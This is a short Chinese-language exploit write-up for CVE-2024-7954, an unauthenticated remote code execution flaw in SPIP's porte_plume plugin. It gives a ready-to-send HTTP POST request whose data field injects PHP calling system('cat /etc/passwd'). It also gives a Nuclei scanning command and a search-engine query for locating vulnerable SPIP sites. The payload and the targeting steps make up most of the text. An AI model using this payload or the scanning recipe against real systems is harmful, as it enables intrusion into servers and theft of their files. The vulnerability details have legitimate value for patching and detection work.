RCE_CVE-2024-7954

描述：

SPIP 4.30-alpha2、4.2.13 及 4.1.16 之前版本使用的 porte_plume 插件存在任意代码执行漏洞。远程未认证攻击者可通过发送特制的 HTTP 请求，以 SPIP 用户身份执行任意 PHP 代码。（严重）

利用方法：

POST /index.php?action=porte_plume_previsu HTTP/1.1

Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded

data=AA_[->URL<?php system('cat /etc/passwd'); ?>]_BB

使用的工具：

Nuclei -l(目标文件) -t(模板) CVE-2024-7954.yml

Shodan Dork：

app="SPIP"

参考来源：

1) https://github.com/fa-rrel